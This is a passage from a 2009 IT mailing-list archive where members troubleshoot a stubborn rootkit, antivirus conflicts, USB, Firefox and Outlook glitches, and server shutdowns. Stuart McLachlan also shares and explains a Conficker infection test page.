their PC rescue and Vipre products. IIRC it had something to do with opening
regedit and going to file | Load Hive. I've never done this so I have no
idea if it actually works.

One note about running Symantec (or other real time AVs) and Vipre on the
same computer, it can cause problems even if the real time and active
protection are disabled. I had heard of this from others but I had never run
into this until today when I was testing running a manual scan with AntiVir
and Vipre blocked something of AntiVir's even though active protection was
off. As soon as the file was executed it got tromped by Vipre. I've been
testing the two together for weeks so I'm not even sure yet what this was.

Also, if you are running Vipre then Sunbelt support is available for
unknowns. There is one fellow on the support list that has been infected
with something and SB support has been helping him through a really rough
one.

I just had "System Security 2009" a rogue anti-virus, show up on one of my
user's PC's last Thursday. Vipre stopped most of it and he turned the PC off
until I could get back to him. We turned the PC on Vipre updated and cleaned
the rest off. My guess is that the virtual machine figured out what it was
and stopped the infectious parts but left the icons and stuff laying around.
The newer updates cleaned up many of those harmless parts later. I tried to
load MalwareBytes on a few system lately where it won't load the setup file.
That's a shame, it usually cleaned quite well. I think they have to harden
their install process.

But you've probably got something much worse than that by the sounds of it.
If I see anything about that other fellow's nasty problem being resolved
I'll let you know. Best of luck!

John B.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Monday, April 13, 2009 4:56 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Hi John:

I have run into an almost upstoppable virus/trojan. 

The system I have runs corporate Symatecs, has run malbytes, runs Vipre and
Spybot and still things are not acting normally. All the packages are
up-to-date, all have been run and no infection of any kind shows.

The only reason I know there are issues going on is that a command window
keep popping up and disappearing and none of the browsers are working
right... they keep bouncing to odd sites at random... today's site of choice
is Sybase though that site has never been accessed from that system.

Any ideas?

Jim

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From john at winhaven.net  Tue Apr 14 15:58:19 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 14 Apr 2009 15:58:19 -0500
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <CC3664FA6A7C40C2A6CC565469DFAA15@creativesystemdesigns.com>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>	<002201c9b8c7$2fd8a660$8f89f320$@net>	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>	<708A902B56F249B7AC37754D4EE37287@s1800>	<023b01c9b94d$8e96fd10$abc4f730$@net>	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>	<016401c9bcaf$6181b940$24852bc0$@net>
	<CC3664FA6A7C40C2A6CC565469DFAA15@creativesystemdesigns.com>
Message-ID: <035901c9bd43$bd49d200$37dd7600$@net>

Hi Jim,
I usually use Belarc Advisor or Gabriel Topala's SIW to print an HTML report
to a USB stick in order to not lose license numbers and such when working on
this kind of infection. I just nuked one. A really nice (huge screen) HP
Pavilion 9000dv notebook. The thing was full of stuff the owner didn't want
and the wireless networking wasn't using. I found it infected and she didn't
care about anything so I SIW'ed it and nuked the HD. Problem is that the
wireless networking still doesn't work and when checking on the Internet it
appears that this should have been a major recall as not very many of them
do seem to work. We're going with a USB Wireless unit and forgetting about
the built-in in one. Oh-well, can't win them all...

Maybe you could image it and send it in to sunbelt ;o)

Best of luck!

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Tuesday, April 14, 2009 2:33 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Thanks so much John. 

I will test using the GMER and Rootkit Revealer and see if this bring some
sort of resolution. The OS have been through so many virus and malware scans
that part of system's degradation in response time is due these products as
well.

I am making a list of all the apps that are current running on the computer
and then I think a good nuking will clean up things permanently.

I am really amazed at the infections ability to resist all attempts at
completely removing it. It has been effectively blocked from outside access
but some of the components are still running at intervals and assisting in
various system crashes. It wrecked all the browsers (IE, FireFox and Chrome)
as well. 

Now I am very curious at what 'IT' could be. I will keep you posted as well
if any more details emerge. 

Jim





From john at winhaven.net  Tue Apr 14 16:08:24 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 14 Apr 2009 16:08:24 -0500
Subject: [dba-Tech] USB ports not working
In-Reply-To: <CC3664FA6A7C40C2A6CC565469DFAA15@creativesystemdesigns.com>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>	<002201c9b8c7$2fd8a660$8f89f320$@net>	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>	<708A902B56F249B7AC37754D4EE37287@s1800>	<023b01c9b94d$8e96fd10$abc4f730$@net>	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>	<016401c9bcaf$6181b940$24852bc0$@net>
	<CC3664FA6A7C40C2A6CC565469DFAA15@creativesystemdesigns.com>
Message-ID: <036801c9bd45$25cdb0c0$71691240$@net>

Anyone having any idea why my USB ports would quit working? I have two
separate banks of USB ports. It started with one in one unit and then one in
the other unit. Then shortly after all of them quit working. Very
inconvenient as I use a USB KVM system and a lot of USB devices! I get just
a slight indication of power from some of them but no indication that
Windows knows the devices are plugged in.



From garykjos at gmail.com  Tue Apr 14 16:13:26 2009
From: garykjos at gmail.com (Gary Kjos)
Date: Tue, 14 Apr 2009 16:13:26 -0500
Subject: [dba-Tech] USB ports not working
In-Reply-To: <036801c9bd45$25cdb0c0$71691240$@net>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
	<002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
	<023b01c9b94d$8e96fd10$abc4f730$@net>
	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
	<016401c9bcaf$6181b940$24852bc0$@net>
	<CC3664FA6A7C40C2A6CC565469DFAA15@creativesystemdesigns.com>
	<036801c9bd45$25cdb0c0$71691240$@net>
Message-ID: <aea6c4950904141413w5cab1228gdc083547f96cf831@mail.gmail.com>

Have you rebooted?  My built in memory card readers get comfused
sometimes and refuse to work until a reboot.

GK

On Tue, Apr 14, 2009 at 4:08 PM, John Bartow <john at winhaven.net> wrote:
> Anyone having any idea why my USB ports would quit working? I have two
> separate banks of USB ports. It started with one in one unit and then one in
> the other unit. Then shortly after all of them quit working. Very
> inconvenient as I use a USB KVM system and a lot of USB devices! I get just
> a slight indication of power from some of them but no indication that
> Windows knows the devices are plugged in.
>
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From rockysmolin at bchacc.com  Wed Apr 15 19:22:38 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Wed, 15 Apr 2009 17:22:38 -0700
Subject: [dba-Tech] Firefox Problem
Message-ID: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>

Dear List:

I'm having a problem with Firefox 3.0.8.  When hovering over a link the
mouse does not turn into the pointing finger and clicking does not go to the
link.  This happens a lot after a page loads.  If I click to another open
application through the task bar or click the application that's open on my
second display, then return to Firefox, the mouse pointer is active on the
links work.  But only for a click or two.  I tried downloading and
reinstalling Firefox but it didn't clear up the problem.

I'd hate to go back to IE but this is making me crazy.  Any ideas on a fix?

MTIA,

Rocky

 


From fuller.artful at gmail.com  Wed Apr 15 23:20:19 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Thu, 16 Apr 2009 00:20:19 -0400
Subject: [dba-Tech] Firefox Problem
In-Reply-To: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>
References: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>
Message-ID: <29f585dd0904152120y19319d69t3a9c0c730873bcaf@mail.gmail.com>

I use v. 3.1 beta 3 and this doesn't occur. Is that an option?

Arthur

On Wed, Apr 15, 2009 at 8:22 PM, Rocky Smolin <rockysmolin at bchacc.com>wrote:

> Dear List:
>
> I'm having a problem with Firefox 3.0.8.  When hovering over a link the
> mouse does not turn into the pointing finger and clicking does not go to
> the
> link.  This happens a lot after a page loads.  If I click to another open
> application through the task bar or click the application that's open on my
> second display, then return to Firefox, the mouse pointer is active on the
> links work.  But only for a click or two.  I tried downloading and
> reinstalling Firefox but it didn't clear up the problem.
>
> I'd hate to go back to IE but this is making me crazy.  Any ideas on a fix?
>
> MTIA,
>
> Rocky
>
>
>
>
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>
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From rockysmolin at bchacc.com  Wed Apr 15 23:23:18 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Wed, 15 Apr 2009 21:23:18 -0700
Subject: [dba-Tech] Firefox Problem
In-Reply-To: <29f585dd0904152120y19319d69t3a9c0c730873bcaf@mail.gmail.com>
References: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>
	<29f585dd0904152120y19319d69t3a9c0c730873bcaf@mail.gmail.com>
Message-ID: <D3FABD352AB94DF1A46AD1518C19EF93@HAL9005>

Yeah I can get it off the web.  No problem with me using it.  I don't have
this problem on any other machine, however.  Don't know what that means,
though.

Any issues with the beta so far (can't be worse than the frustration I'm
having now)?

Rocky


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Wednesday, April 15, 2009 9:20 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Firefox Problem

I use v. 3.1 beta 3 and this doesn't occur. Is that an option?

Arthur

On Wed, Apr 15, 2009 at 8:22 PM, Rocky Smolin <rockysmolin at bchacc.com>wrote:

> Dear List:
>
> I'm having a problem with Firefox 3.0.8.  When hovering over a link 
> the mouse does not turn into the pointing finger and clicking does not 
> go to the link.  This happens a lot after a page loads.  If I click to 
> another open application through the task bar or click the application 
> that's open on my second display, then return to Firefox, the mouse 
> pointer is active on the links work.  But only for a click or two.  I 
> tried downloading and reinstalling Firefox but it didn't clear up the 
> problem.
>
> I'd hate to go back to IE but this is making me crazy.  Any ideas on a
fix?
>
> MTIA,
>
> Rocky
>
>
>
>
> _______________________________________________
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> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
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From accessd at shaw.ca  Thu Apr 16 00:29:55 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Wed, 15 Apr 2009 22:29:55 -0700
Subject: [dba-Tech] Firefox Problem
In-Reply-To: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>
References: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>
Message-ID: <0B233B006AEB47DCBB63572A96734355@creativesystemdesigns.com>

Hi Rocky:

I am using this same version on three OSs, XP, Server2003 and Server2008
with not such problems. If you are not using Vista I would suggest that your
problem may have further afield.

There have been some issues with computers using Nvidia graphic drivers but
that has not been limited to FF.
 
Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Wednesday, April 15, 2009 5:23 PM
To: List
Subject: [dba-Tech] Firefox Problem

Dear List:

I'm having a problem with Firefox 3.0.8.  When hovering over a link the
mouse does not turn into the pointing finger and clicking does not go to the
link.  This happens a lot after a page loads.  If I click to another open
application through the task bar or click the application that's open on my
second display, then return to Firefox, the mouse pointer is active on the
links work.  But only for a click or two.  I tried downloading and
reinstalling Firefox but it didn't clear up the problem.

I'd hate to go back to IE but this is making me crazy.  Any ideas on a fix?

MTIA,

Rocky

 




From rockysmolin at bchacc.com  Thu Apr 16 00:53:35 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Wed, 15 Apr 2009 22:53:35 -0700
Subject: [dba-Tech] Firefox Problem
In-Reply-To: <0B233B006AEB47DCBB63572A96734355@creativesystemdesigns.com>
References: <C546E81A9D59469EA63DB2D6717223F7@HAL9005>
	<0B233B006AEB47DCBB63572A96734355@creativesystemdesigns.com>
Message-ID: <D003949907014493A00E44C927590BBD@HAL9005>

Well I might try Arthur's solution - the beta - if it doesn't clear itself
up soon.  It appeared mysteriously.  No reason why it shouldn't go away the
same way.

Rocky


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Wednesday, April 15, 2009 10:30 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Firefox Problem

Hi Rocky:

I am using this same version on three OSs, XP, Server2003 and Server2008
with not such problems. If you are not using Vista I would suggest that your
problem may have further afield.

There have been some issues with computers using Nvidia graphic drivers but
that has not been limited to FF.
 
Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Wednesday, April 15, 2009 5:23 PM
To: List
Subject: [dba-Tech] Firefox Problem

Dear List:

I'm having a problem with Firefox 3.0.8.  When hovering over a link the
mouse does not turn into the pointing finger and clicking does not go to the
link.  This happens a lot after a page loads.  If I click to another open
application through the task bar or click the application that's open on my
second display, then return to Firefox, the mouse pointer is active on the
links work.  But only for a click or two.  I tried downloading and
reinstalling Firefox but it didn't clear up the problem.

I'd hate to go back to IE but this is making me crazy.  Any ideas on a fix?

MTIA,

Rocky

 


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From andy at minstersystems.co.uk  Thu Apr 16 02:14:34 2009
From: andy at minstersystems.co.uk (Andy Lacey)
Date: Thu, 16 Apr 2009 08:14:34 +0100
Subject: [dba-Tech] Odd Outlook behaviour
In-Reply-To: <aea6c4950904141413w5cab1228gdc083547f96cf831@mail.gmail.com>
Message-ID: <7B267B50EEA24AB29B00171AF4A40812@MINSTER>

Hi all
Anyone any ideas on this? Since a point during last Sunday a lot of my
emails are showing in Outlook with a txt attachment which holds a repeat of
the message. The filename is the subject of the email. I've spoken to my ISP
and they swear they're not generating the attachments so it must be Outlook.
It doesn't happen on all emails and I think it's just plain text ones that
are affected. All of my AccessD ones show like this. I'm using Outlook 2002.
I'm not aware of having altered my settings and I can't even see one which
would cause this. Anyone any ideas?
Thanks
Andy




From ssharkins at gmail.com  Thu Apr 16 08:30:22 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Thu, 16 Apr 2009 09:30:22 -0400
Subject: [dba-Tech] Odd Outlook behaviour
References: <7B267B50EEA24AB29B00171AF4A40812@MINSTER>
Message-ID: <628C24CA2A4B4F199DD3A44C3704F608@SusanOne>

Andy, I don't know what the problem is, but I get them occasionally too, and 
I'm using OE. Almost all of Rocky's are like that.

Susan H.


> Anyone any ideas on this? Since a point during last Sunday a lot of my
> emails are showing in Outlook with a txt attachment which holds a repeat 
> of
> the message. The filename is the subject of the email. I've spoken to my 
> ISP
> and they swear they're not generating the attachments so it must be 
> Outlook.
> It doesn't happen on all emails and I think it's just plain text ones that
> are affected. All of my AccessD ones show like this. I'm using Outlook 
> 2002.
> I'm not aware of having altered my settings and I can't even see one which
> would cause this. Anyone any ideas?



From garykjos at gmail.com  Thu Apr 16 08:51:17 2009
From: garykjos at gmail.com (Gary Kjos)
Date: Thu, 16 Apr 2009 08:51:17 -0500
Subject: [dba-Tech] Unexpected server shutdowns
In-Reply-To: <6ef6ac2c0904141017t5b77d602v1269ed2bf56b7b67@mail.gmail.com>
References: <6ef6ac2c0904141017t5b77d602v1269ed2bf56b7b67@mail.gmail.com>
Message-ID: <aea6c4950904160651x6e660941udefee6a60bba475f@mail.gmail.com>

I thought someone would have replied to this by now. I'm not familiar
with servers much but I would have to think there is some kind of a
LOG FILE that would provide insight into what was the running at the
time of the failure / restart. Is it using the automated power
monitoring software provided by APC?  I might try to disable that if
it is. Or even to disconnect the link from the UPS to the server that
would notify the server that the line power has been cut. Temporarily
of course to see if the problems stop.

Good luck wth figuring out the cause. The suspect motherboard seems to
me to be the most likely guess. Or maybe a bad memory board?  Might be
worth running a in depth memory diagnostic.

GK

On Tue, Apr 14, 2009 at 12:17 PM, Janet Erbach <jerbach at gmail.com> wrote:
> Hello -
>
> I'm the IT department for a small internet based company in Wisconsin. ?My
> background is largely in Access database development, but the job of overall
> IT administration has fallen on me because I'm the most computer proficient
> of anyone here. ?Please be patient with me if my ignorance of network and
> hardware issues is glaringly obvious.
>
> We bought an HP Proliant server in December to replace the pitiful Windows
> XP workstation we had set up as a 'server'. ?It's running SBS 2008...and
> we've experienced at least a dozen unexpected shutdowns since it's been in
> place. ?At first we thought it was due to trying to run nightly backups with
> insufficient ram - the initial setup had 4G, and we were running on 0 Mg
> free. ?But we installed an additional 8G of ram 2 weeks ago, and ?had
> another unexpected shutdown yesterday in the middle of the working day.
>
> Does anyone have any insights for me about what could be behind this? ?Our
> network consultants have spent hours researching it and have not turned up
> anything yet other than 'maybe it's a defective motherboard'. ?Since they
> have another client with the same machine who is experiencing the same
> problem, they'll be replacing the motherboard on that one and letting us
> know if it cures the problem.
>
> In the meantime, any suggestions will be appreciated!
>
> Janet Erbach
> IT Administrator
> www.naturalhealthyconcepts.com
>
>
>
> P.S. ?We're using an APC unit for UPS...I mention it because I read an older
> link today that linked some unexpected server shutdowns to APC Powerchute.
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From andy at minstersystems.co.uk  Thu Apr 16 10:17:46 2009
From: andy at minstersystems.co.uk (Andy Lacey)
Date: Thu, 16 Apr 2009 15:17:46 +0000
Subject: [dba-Tech] Odd Outlook behaviour
Message-ID: <200904161417.n3GEHn1D005067@databaseadvisors.com>

Nice to know I'm not alone anyway. Thanks Susan.
--
Andy


--------- Original Message --------
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To: "Discussion of Hardware and Software issues"
<dba-tech at databaseadvisors.com>
Subject: Re: [dba-Tech] Odd Outlook behaviour
Date: 16/04/09 13:41


Andy, I don't know what the problem is, but I get them occasionally too, and
I'm using OE. Almost all of Rocky's are like that.

Susan H.


> Anyone any ideas on this? Since a point during last Sunday a lot of my
> emails are showing in Outlook with a txt attachment which holds a repeat
> of
> the message. The filename is the subject of the email. I've spoken to my
> ISP
> and they swear they're not generating the attachments so it must be
> Outlook.
> It doesn't happen on all emails and I think it's just plain text ones that
> are affected. All of my AccessD ones show like this. I'm using Outlook
> 2002.
> I'm not aware of having altered my settings and I can't even see one which
> would cause this. Anyone any ideas?

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From jon.tydda at lonza.com  Thu Apr 16 09:28:23 2009
From: jon.tydda at lonza.com (Tydda Jon - Slough)
Date: Thu, 16 Apr 2009 16:28:23 +0200
Subject: [dba-Tech] Unexpected server shutdowns
In-Reply-To: <aea6c4950904160651x6e660941udefee6a60bba475f@mail.gmail.com>
References: <6ef6ac2c0904141017t5b77d602v1269ed2bf56b7b67@mail.gmail.com>
	<aea6c4950904160651x6e660941udefee6a60bba475f@mail.gmail.com>
Message-ID: <A750CC0AAE63CB489C58478FF67DE632068899297B@chvex03.lonzagroup.net>

I'd tend to think that the UPS was at fault, knowing just how flakey they can be sometimes. Depending on the model of UPS that you've got, and if it connects to the server (with a USB or serial cable), there might be some software that it installs to shut the servers down properly, so that no data is lost in the event of a power outage. If that's the case (I know HP rackmount UPS's do this), there will be a log file in that same software (on the server you've selected to "manage" the UPS).

If that isn't an option (either you don't have a managed UPS or it's not configured to shutdown the servers), then have a look through the event logs (Control Panels, Administrative Tools, Computer Management, Events), and in the System and Software logs there will be events telling you that the server was started, (they'll say something like "Microsoft (R) Windows (R) 5.01. 2600 Service Pack 2 Multiprocessor Free.", but with the relevant Server OS). The entries before that will be the ones to tell you that it shut down, and perhaps lead to why it shutdown.

Hope this is of some help


Jon

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gary Kjos
Sent: Thursday, April 16, 2009 2:51 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Unexpected server shutdowns

I thought someone would have replied to this by now. I'm not familiar with servers much but I would have to think there is some kind of a LOG FILE that would provide insight into what was the running at the time of the failure / restart. Is it using the automated power monitoring software provided by APC?  I might try to disable that if it is. Or even to disconnect the link from the UPS to the server that would notify the server that the line power has been cut. Temporarily of course to see if the problems stop.

Good luck wth figuring out the cause. The suspect motherboard seems to me to be the most likely guess. Or maybe a bad memory board?  Might be worth running a in depth memory diagnostic.

GK

On Tue, Apr 14, 2009 at 12:17 PM, Janet Erbach <jerbach at gmail.com> wrote:
> Hello -
>
> I'm the IT department for a small internet based company in Wisconsin.
> My background is largely in Access database development, but the job
> of overall IT administration has fallen on me because I'm the most
> computer proficient of anyone here.  Please be patient with me if my
> ignorance of network and hardware issues is glaringly obvious.
>
> We bought an HP Proliant server in December to replace the pitiful
> Windows XP workstation we had set up as a 'server'.  It's running SBS
> 2008...and we've experienced at least a dozen unexpected shutdowns
> since it's been in place.  At first we thought it was due to trying to
> run nightly backups with insufficient ram - the initial setup had 4G,
> and we were running on 0 Mg free.  But we installed an additional 8G
> of ram 2 weeks ago, and  had another unexpected shutdown yesterday in the middle of the working day.
>
> Does anyone have any insights for me about what could be behind this?
> Our network consultants have spent hours researching it and have not
> turned up anything yet other than 'maybe it's a defective
> motherboard'.  Since they have another client with the same machine
> who is experiencing the same problem, they'll be replacing the
> motherboard on that one and letting us know if it cures the problem.
>
> In the meantime, any suggestions will be appreciated!
>
> Janet Erbach
> IT Administrator
> www.naturalhealthyconcepts.com
>
>
>
> P.S.  We're using an APC unit for UPS...I mention it because I read an
> older link today that linked some unexpected server shutdowns to APC Powerchute.
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From fuller.artful at gmail.com  Thu Apr 16 09:48:22 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Thu, 16 Apr 2009 10:48:22 -0400
Subject: [dba-Tech] Turn Auto Updates Off
Message-ID: <29f585dd0904160748m26178943kb877185fd6387e52@mail.gmail.com>

How do I turn automatic updates off (Vista)?

TIA,
Arthur


From stuart at lexacorp.com.pg  Thu Apr 16 17:32:40 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Fri, 17 Apr 2009 08:32:40 +1000
Subject: [dba-Tech] Conficker Worm Test
In-Reply-To: <200904161417.n3GEHn1D005067@databaseadvisors.com>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>
Message-ID: <49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>

****Note - As at April 2009!!! If someone passes this on to you in at some
much later date, it's probably obsolete and you should delete this email
right now*****  

Conficker is a piece of mailcious software that has infected a lot of
computers. 

Here's a very simple test to check whether your computer is infected .
Just go to

http://www.lexacorp.com.pg and click on the link at the bottom left

The way it works is simple. If you can see all 6 images at the top of the
test page, you are probably not infected with the worm.  

If it looks like your machine is infected, disconnect it from the Internet
immediately. Go to another system that's not infected, and get Microsoft's
Malicious Software Removal Tool.  

 http://www.microsoft.com/security/malwareremove/

Run that on the infected system, and be sure the infection is removed
before you reconnect to the Net.  

I hate chain emails and I never thought I'd ever
say this but - feel free to pass this one on to other people.  


Cheers,
Stuart McLachlan




From accessd at shaw.ca  Thu Apr 16 17:56:02 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Thu, 16 Apr 2009 15:56:02 -0700
Subject: [dba-Tech] Conficker Worm Test
In-Reply-To: <49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>
	<49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>
Message-ID: <DB25617FB8F84265B29FB7B67D432B2D@creativesystemdesigns.com>

Good work Stuart... Well prepared. Did you figure out how to put page
together or did you assemble from other existing locations?

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: Thursday, April 16, 2009 3:33 PM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Conficker Worm Test

****Note - As at April 2009!!! If someone passes this on to you in at some
much later date, it's probably obsolete and you should delete this email
right now*****  

Conficker is a piece of mailcious software that has infected a lot of
computers. 

Here's a very simple test to check whether your computer is infected .
Just go to

http://www.lexacorp.com.pg and click on the link at the bottom left

The way it works is simple. If you can see all 6 images at the top of the
test page, you are probably not infected with the worm.  

If it looks like your machine is infected, disconnect it from the Internet
immediately. Go to another system that's not infected, and get Microsoft's
Malicious Software Removal Tool.  

 http://www.microsoft.com/security/malwareremove/

Run that on the infected system, and be sure the infection is removed
before you reconnect to the Net.  

I hate chain emails and I never thought I'd ever
say this but - feel free to pass this one on to other people.  


Cheers,
Stuart McLachlan


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From rockysmolin at bchacc.com  Thu Apr 16 18:02:56 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Thu, 16 Apr 2009 16:02:56 -0700
Subject: [dba-Tech] Conficker Worm Test
In-Reply-To: <49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>
	<49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>
Message-ID: <451217D768164CA194E4FCF493F68146@HAL9005>

Cool.  How does it work?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: Thursday, April 16, 2009 3:33 PM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Conficker Worm Test

****Note - As at April 2009!!! If someone passes this on to you in at some
much later date, it's probably obsolete and you should delete this email
right now*****  

Conficker is a piece of mailcious software that has infected a lot of
computers. 

Here's a very simple test to check whether your computer is infected .
Just go to

http://www.lexacorp.com.pg and click on the link at the bottom left

The way it works is simple. If you can see all 6 images at the top of the
test page, you are probably not infected with the worm.  

If it looks like your machine is infected, disconnect it from the Internet
immediately. Go to another system that's not infected, and get Microsoft's
Malicious Software Removal Tool.  

 http://www.microsoft.com/security/malwareremove/

Run that on the infected system, and be sure the infection is removed before
you reconnect to the Net.  

I hate chain emails and I never thought I'd ever say this but - feel free to
pass this one on to other people.  


Cheers,
Stuart McLachlan


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From stuart at lexacorp.com.pg  Thu Apr 16 18:09:04 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Fri, 17 Apr 2009 09:09:04 +1000
Subject: [dba-Tech] Conficker Worm Test
In-Reply-To: <DB25617FB8F84265B29FB7B67D432B2D@creativesystemdesigns.com>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>,
	<49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>,
	<DB25617FB8F84265B29FB7B67D432B2D@creativesystemdesigns.com>
Message-ID: <49E7BA90.26716.FC9DD75@stuart.lexacorp.com.pg>

I stole it !!!

If you follow the links at the bottom of the page you will see where it came from:
http://www.joestewart.org/

and the fact that it is "copyleft"
http://www.gnu.org/copyleft/
so anyone can clone it.

I was originally going to just post a link to the original, but then I thought about it a bit and 
decided that it was a good opportunity to do a bit of shameless promotion of my 
business/web site at the same time :-)

Cheers,
Stuart

On 16 Apr 2009 at 15:56, Jim Lawrence wrote:

> Good work Stuart... Well prepared. Did you figure out how to put page
> together or did you assemble from other existing locations?
> 
> Jim
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
> Sent: Thursday, April 16, 2009 3:33 PM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Conficker Worm Test
> 
> ****Note - As at April 2009!!! If someone passes this on to you in at some
> much later date, it's probably obsolete and you should delete this email
> right now*****  
> 
> Conficker is a piece of mailcious software that has infected a lot of
> computers. 
> 
> Here's a very simple test to check whether your computer is infected .
> Just go to
> 
> http://www.lexacorp.com.pg and click on the link at the bottom left
> 
> The way it works is simple. If you can see all 6 images at the top of the
> test page, you are probably not infected with the worm.  
> 
> If it looks like your machine is infected, disconnect it from the Internet
> immediately. Go to another system that's not infected, and get Microsoft's
> Malicious Software Removal Tool.  
> 
>  http://www.microsoft.com/security/malwareremove/
> 
> Run that on the infected system, and be sure the infection is removed
> before you reconnect to the Net.  
> 
> I hate chain emails and I never thought I'd ever
> say this but - feel free to pass this one on to other people.  
> 
> 
> Cheers,
> Stuart McLachlan
> 
> 
> _______________________________________________
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From stuart at lexacorp.com.pg  Thu Apr 16 18:14:07 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Fri, 17 Apr 2009 09:14:07 +1000
Subject: [dba-Tech] Conficker Worm Test
In-Reply-To: <451217D768164CA194E4FCF493F68146@HAL9005>
References: <200904161417.n3GEHn1D005067@databaseadvisors.com>,
	<49E7B208.22063.FA88A85@stuart.lexacorp.com.pg>,
	<451217D768164CA194E4FCF493F68146@HAL9005>
Message-ID: <49E7BBBF.14836.FCE7DC9@stuart.lexacorp.com.pg>

Very simple.

Conficker blocks browsers from accessing a number of sites, including the major AV ones.
The page just contains links to images on the AV vendors sites.   If you're infected, 
Conficker will stop you from accessing them so you won't see the images.



On 16 Apr 2009 at 16:02, Rocky Smolin wrote:

> Cool.  How does it work?
> 
> Rocky
>  
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
> Sent: Thursday, April 16, 2009 3:33 PM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Conficker Worm Test
> 
> ****Note - As at April 2009!!! If someone passes this on to you in at some
> much later date, it's probably obsolete and you should delete this email
> right now*****  
> 
> Conficker is a piece of mailcious software that has infected a lot of
> computers. 
> 
> Here's a very simple test to check whether your computer is infected .
> Just go to
> 
> http://www.lexacorp.com.pg and click on the link at the bottom left
> 
> The way it works is simple. If you can see all 6 images at the top of the
> test page, you are probably not infected with the worm.  
> 
> If it looks like your machine is infected, disconnect it from the Internet
> immediately. Go to another system that's not infected, and get Microsoft's
> Malicious Software Removal Tool.  
> 
>  http://www.microsoft.com/security/malwareremove/
> 
> Run that on the infected system, and be sure the infection is removed before
> you reconnect to the Net.  
> 
> I hate chain emails and I never thought I'd ever say this but - feel free to
> pass this one on to other people.  
> 
> 
> Cheers,
